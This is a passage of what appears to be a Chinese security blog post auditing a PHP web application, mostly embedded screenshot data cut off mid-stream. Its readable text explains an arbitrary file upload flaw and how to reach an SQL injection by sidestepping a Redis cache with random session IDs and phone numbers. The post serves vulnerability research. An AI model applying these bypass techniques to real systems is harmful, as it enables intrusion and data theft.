<p><a id=img8 href=https://xzfile.aliyuncs.com/media/upload/picture/20240226191247-f8be92a4-d497-1.png title><img src="data:image/png;base64,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 truncated
|
||||
<p>所以这套系统只要存在 <code>$upload->exts =</code> 这个的上传接口 就存在任意文件上传</p>
|
||||
<p><a id=img9 href=https://xzfile.aliyuncs.com/media/upload/picture/20240226191255-fd79095a-d497-1.png title><img src=data:image/png;base64,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 truncated
|
||||
<h2 id=toc-4>SQL(绕redis缓存)</h2>
|
||||
<p>直接看前台控制器了</p>
|
||||
<p>找到这个路由存在sql的问题</p>
|
||||
<p><a id=img10 href=https://xzfile.aliyuncs.com/media/upload/picture/20240226191304-02c9e0be-d498-1.png><img src="data:image/png;base64,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 truncated
|
||||
<p>在这个代码里头,可以发现 <code>$count</code> 跟 <code>$listJson</code> 是关键</p>
|
||||
<p><code>$count</code>的设置是为了不频繁查询,所以这里只要设置随机伪造的PHPSESSID就可以了</p>
|
||||
<p><code>$listJson</code> 的设置就尤为关键了 if (!$listJson) 这里的语句是 我的redis去查phone就是要查不到 为null才能执行下面的sql语句,所以phone就是要不存在的手机号才行,所以就直接随机phone就可以了,但是他在后续的代码中把这跟手机号给设置进了<code>redis</code>中</p>
|
||||
<p><a id=img11 href=https://xzfile.aliyuncs.com/media/upload/picture/20240226191312-07eb8020-d498-1.png><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAbYAAABYCAYAAACZMNI2AAA4T0lEQVR4nO2dd3xUVdr4v/dOyZSUSa+QBiT0XhVRQZoiKAiuurqWd7Ht6r62ta6uhXWx7eu6Lur6/nx11dVVpInIShGlGUI3JEBIJz2ZlOkz5/dHekgyE5gg4P1+Pnw+TM495z7nOc89zz3lnkey2xoFCgoKCgoKFwhqgIFpw/1WYPTlD/HojUMxetx4Sr/kmSf+TYkk+a18BQUFBQWFnlD7szChHsOCa/tx7JPlrMuqw2k3U+7PGygoKCgoKHjBr46N8HhiDcVs3XqIE7bmUZoyWlNQUFBQOIvIfi2t3ooFPYZAv5aqoKCgoKDgM/51bI21NLiDMAb7tVQFBQUFBQWf8ZtjEwL0yYlEyg6cdn+VqqCgoKCg0Dv8ssYmRChzH3uZhQMclH73LpuKAGVpTUFBQUHhJ0Cy2xrFmW73F0IiKDoabWMl1Y0uP4mmoKCgoKDQe/wyYpMkQUN5qT+KUlBQUFBQOCP8u3lEQUFBQUHhJ0ZxbAoKCgoKFxSKY1NQUFBQuKBQHJuCgoKCwgWF4t